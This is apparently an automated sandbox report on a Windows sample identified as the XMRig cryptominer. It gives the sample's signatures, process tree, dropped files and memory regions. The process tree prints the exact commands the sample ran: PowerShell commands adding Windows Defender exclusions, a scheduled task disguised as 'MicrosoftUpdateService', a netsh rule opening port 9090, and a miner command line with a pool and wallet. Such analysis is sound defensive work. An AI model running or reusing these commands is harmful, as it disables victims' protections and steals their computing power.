Analysis

  • max time kernel
    106s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/08/2026, 11:44

General

  • Target
    file.exe
  • Size 9.6MB
  • Sample260805-nwct7aeq5t
  • SHA256 7f936ffc40d08c305fb98485fcda7ed3d5dbe601d59b9a1a0e6e8ce36e54ebe9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 22 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 9 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\MicrosoftUpdateService\MicrosoftUpdateService.exe'; Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Roaming\MicrosoftUpdateService\MicrosoftUpdateService.exe'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5232
    • C:\Windows\SYSTEM32\schtasks.exe
      "schtasks.exe" /delete /tn "MicrosoftUpdateService" /f
      2⤵
        PID:5544
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks.exe" /create /tn "MicrosoftUpdateService" /xml "C:\Users\Admin\AppData\Local\Temp\MicrosoftUpdateService.xml" /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3928
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe'; Add-MpPreference -ExclusionProcess 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe'"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1276
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe
        2⤵
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of WriteProcessMemory
        PID:4908
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks.exe" /query /tn "MicrosoftUpdateService"
          3⤵
            PID:6092
      • C:\Users\Admin\AppData\Roaming\MicrosoftUpdateService\MicrosoftUpdateService.exe
        C:\Users\Admin\AppData\Roaming\MicrosoftUpdateService\MicrosoftUpdateService.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:5672
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks.exe" /query /tn "MicrosoftUpdateService"
          2⤵
            PID:2484
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe'; Add-MpPreference -ExclusionProcess 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe'"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:720
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
            2⤵
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3932
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks.exe" /query /tn "MicrosoftUpdateService"
              3⤵
                PID:3572
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell.exe" -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe'; Add-MpPreference -ExclusionProcess 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe'"
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:5876
              • C:\Windows\SYSTEM32\netsh.exe
                "netsh" advfirewall firewall show rule name="9090"
                3⤵
                • Modifies Windows Firewall
                PID:4528
              • C:\Windows\SYSTEM32\netsh.exe
                "netsh" advfirewall firewall add rule name="9090" dir=in action=allow protocol=TCP localport=9090
                3⤵
                • Modifies Windows Firewall
                PID:6132
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe --algo rx/0 -o pool.hashvault.pro:443 -u 492EmpaZxuwicrMMRYzPmiZjPwYwEntipj663jXCmvzNGP6rmJERhicAptm2etaVgkAv4miL1wqpABjmgUqPUXuVBLFzs1y.rig_cpuc -p c2 -k --cpu-max-threads-hint=50 --http-enabled --http-port=9090
                3⤵
                  PID:2212
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k GPSvcGroup
              1⤵
                PID:356

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

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                    Downloads

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
                    • MD5 SHA1 SHA512 TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 070e2dc002fee5d6c6ae0611713bb24a9f01d741d964e7f1ece4f61789724a94
                    • MD5 SHA1 SHA512 TLSH

                    MicrosoftUpdateService.xml

                    • Path C:\Users\Admin\AppData\Local\Temp\MicrosoftUpdateService.xml
                    • Size 1KB
                    • SHA256 2d4f0c0cdfb3ac195f47668212e2d27aa9e25148100f517b780240dff18692e5
                    • MD5 SHA1 SHA512 TLSH

                    __PSScriptPolicyTest_oq11yemb.vrl.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oq11yemb.vrl.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH

                    MicrosoftUpdateService.exe

                    • Path C:\Users\Admin\AppData\Roaming\MicrosoftUpdateService\MicrosoftUpdateService.exe
                    • Size 9.6MB
                    • SHA256 7f936ffc40d08c305fb98485fcda7ed3d5dbe601d59b9a1a0e6e8ce36e54ebe9
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    memory/720-93-0x00000258441E0000-0x0000025844292000-memory.dmp

                    memory/2212-185-0x0000000140000000-0x00000001408CD000-memory.dmp

                    memory/2212-176-0x0000000140000000-0x00000001408CD000-memory.dmp

                    memory/2212-180-0x0000000140000000-0x00000001408CD000-memory.dmp

                    memory/2212-183-0x0000000140000000-0x00000001408CD000-memory.dmp

                    memory/2212-186-0x0000000140000000-0x00000001408CD000-memory.dmp

                    memory/2212-188-0x0000000140000000-0x00000001408CD000-memory.dmp

                    memory/2212-189-0x0000000140000000-0x00000001408CD000-memory.dmp

                    memory/2212-191-0x0000000140000000-0x00000001408CD000-memory.dmp

                    memory/2212-192-0x0000000140000000-0x00000001408CD000-memory.dmp

                    memory/2212-193-0x00000167E4DF0000-0x00000167E4E10000-memory.dmp

                    memory/2212-190-0x0000000140000000-0x00000001408CD000-memory.dmp

                    memory/2212-187-0x0000000140000000-0x00000001408CD000-memory.dmp

                    memory/2212-196-0x0000000140000000-0x00000001408CD000-memory.dmp

                    memory/2212-184-0x0000000140000000-0x00000001408CD000-memory.dmp

                    memory/2212-182-0x0000000140000000-0x00000001408CD000-memory.dmp

                    memory/2212-181-0x0000000140000000-0x00000001408CD000-memory.dmp

                    memory/2212-178-0x0000000140000000-0x00000001408CD000-memory.dmp

                    memory/2212-179-0x0000000140000000-0x00000001408CD000-memory.dmp

                    memory/2212-197-0x0000000140000000-0x00000001408CD000-memory.dmp

                    memory/2212-200-0x0000000140000000-0x00000001408CD000-memory.dmp

                    memory/2212-201-0x0000000140000000-0x00000001408CD000-memory.dmp

                    memory/2212-199-0x0000000140000000-0x00000001408CD000-memory.dmp

                    memory/2212-198-0x0000000140000000-0x00000001408CD000-memory.dmp

                    memory/3932-135-0x0000000000400000-0x00000000033C4000-memory.dmp

                    memory/3932-136-0x0000000000400000-0x00000000033C4000-memory.dmp

                    memory/3932-137-0x0000000000400000-0x00000000033C4000-memory.dmp

                    memory/3932-138-0x0000000000400000-0x00000000033C4000-memory.dmp

                    memory/3932-134-0x0000000000400000-0x00000000033C4000-memory.dmp

                    memory/3932-133-0x0000000000400000-0x00000000033C4000-memory.dmp

                    memory/3932-132-0x0000000000400000-0x00000000033C4000-memory.dmp

                    memory/3932-131-0x0000000000400000-0x00000000033C4000-memory.dmp

                    memory/3932-139-0x0000000000400000-0x00000000033C4000-memory.dmp

                    memory/3932-140-0x000001A70EBA0000-0x000001A70EC52000-memory.dmp

                    memory/4908-68-0x0000000000400000-0x00000000033C4000-memory.dmp

                    memory/4908-106-0x0000000000400000-0x00000000033C4000-memory.dmp

                    memory/4908-65-0x0000000000400000-0x00000000033C4000-memory.dmp

                    memory/4908-86-0x0000000000400000-0x00000000033C4000-memory.dmp

                    memory/4908-78-0x0000000000400000-0x00000000033C4000-memory.dmp

                    memory/4908-70-0x0000000000400000-0x00000000033C4000-memory.dmp

                    memory/4908-67-0x0000000000400000-0x00000000033C4000-memory.dmp

                    memory/4908-69-0x0000000000400000-0x00000000033C4000-memory.dmp

                    memory/4908-71-0x0000000000400000-0x00000000033C4000-memory.dmp

                    memory/4908-72-0x0000000000400000-0x00000000033C4000-memory.dmp

                    memory/4908-75-0x0000000000400000-0x00000000033C4000-memory.dmp

                    memory/4908-74-0x0000000000400000-0x00000000033C4000-memory.dmp

                    memory/5232-26-0x00007FFBC9E60000-0x00007FFBCA804000-memory.dmp

                    memory/5232-29-0x00007FFBC9E60000-0x00007FFBCA804000-memory.dmp

                    memory/5232-14-0x0000011AEDC20000-0x0000011AEDC42000-memory.dmp

                    memory/5232-20-0x0000011AEDF00000-0x0000011AEDFB2000-memory.dmp

                    memory/5232-31-0x00007FFBC9E60000-0x00007FFBCA804000-memory.dmp

                    memory/5232-21-0x0000011AEE0C0000-0x0000011AEE0CA000-memory.dmp

                    memory/5232-32-0x00007FFBC9E60000-0x00007FFBCA804000-memory.dmp

                    memory/5232-22-0x00007FFBC9E60000-0x00007FFBCA804000-memory.dmp

                    memory/5232-33-0x00007FFBC9E60000-0x00007FFBCA804000-memory.dmp

                    memory/5232-35-0x00007FFBC9E60000-0x00007FFBCA804000-memory.dmp

                    memory/5232-24-0x00007FFBC9E60000-0x00007FFBCA804000-memory.dmp

                    memory/5232-13-0x00007FFBC9E60000-0x00007FFBCA804000-memory.dmp

                    memory/5232-16-0x00007FFBC9E60000-0x00007FFBCA804000-memory.dmp

                    memory/5232-23-0x00007FFBC9E60000-0x00007FFBCA804000-memory.dmp

                    memory/5232-19-0x0000011AEDEE0000-0x0000011AEDEFE000-memory.dmp

                    memory/5232-27-0x00007FFBC9E60000-0x00007FFBCA804000-memory.dmp

                    memory/5232-30-0x00007FFBC9E60000-0x00007FFBCA804000-memory.dmp

                    memory/5232-15-0x00007FFBC9E60000-0x00007FFBCA804000-memory.dmp

                    memory/5232-25-0x00007FFBC9E60000-0x00007FFBCA804000-memory.dmp

                    memory/5672-129-0x00000000004F0000-0x00000000034B4000-memory.dmp

                    memory/5672-119-0x00000000004F0000-0x00000000034B4000-memory.dmp

                    memory/5672-113-0x00000000004F0000-0x00000000034B4000-memory.dmp

                    memory/5672-104-0x00000000004F0000-0x00000000034B4000-memory.dmp

                    memory/5672-85-0x00000000004F0000-0x00000000034B4000-memory.dmp

                    memory/5672-84-0x00000000004F0000-0x00000000034B4000-memory.dmp

                    memory/5672-83-0x00000000004F0000-0x00000000034B4000-memory.dmp

                    memory/5672-81-0x00000000004F0000-0x00000000034B4000-memory.dmp

                    memory/5672-102-0x00000000004F0000-0x00000000034B4000-memory.dmp

                    memory/5808-80-0x00007FFBC9E60000-0x00007FFBCA804000-memory.dmp

                    memory/5808-73-0x0000000025680000-0x0000000025681000-memory.dmp

                    memory/5808-2-0x00007FFBEC000000-0x00007FFBEC010000-memory.dmp

                    memory/5808-45-0x0000000006FD0000-0x0000000006FD1000-memory.dmp

                    memory/5808-46-0x0000000009AF0000-0x0000000009AF1000-memory.dmp

                    memory/5808-48-0x0000000009B20000-0x0000000009B21000-memory.dmp

                    memory/5808-54-0x0000000009B80000-0x0000000009B81000-memory.dmp

                    memory/5808-55-0x0000000009B90000-0x0000000009B91000-memory.dmp

                    memory/5808-82-0x0000000000E70000-0x0000000003E34000-memory.dmp

                    memory/5808-62-0x0000000025900000-0x0000000025901000-memory.dmp

                    memory/5808-64-0x0000000025670000-0x0000000025671000-memory.dmp

                    memory/5808-77-0x0000000000E70000-0x0000000003E34000-memory.dmp

                    memory/5808-0-0x0000000000E70000-0x0000000003E34000-memory.dmp

                    memory/5808-44-0x0000000006720000-0x0000000006721000-memory.dmp

                    memory/5808-28-0x0000000000E70000-0x0000000003E34000-memory.dmp

                    memory/5808-66-0x0000000025660000-0x0000000025661000-memory.dmp

                    memory/5808-10-0x0000000009A90000-0x0000000009AAA000-memory.dmp

                    memory/5808-9-0x0000000023A30000-0x0000000023BEE000-memory.dmp

                    memory/5808-8-0x0000000023080000-0x0000000023132000-memory.dmp

                    memory/5808-7-0x00007FFBC9E60000-0x00007FFBCA804000-memory.dmp

                    memory/5808-6-0x0000000000E70000-0x0000000003E34000-memory.dmp

                    memory/5808-5-0x00007FFBC9E60000-0x00007FFBCA804000-memory.dmp

                    memory/5808-1-0x0000000000E70000-0x0000000003E34000-memory.dmp

                    memory/5808-4-0x00007FFBC9E60000-0x00007FFBCA804000-memory.dmp

                    memory/5808-3-0x00007FFBC9FF0000-0x00007FFBC9FF1000-memory.dmp

                    memory/5876-148-0x0000013C50C80000-0x0000013C50D32000-memory.dmp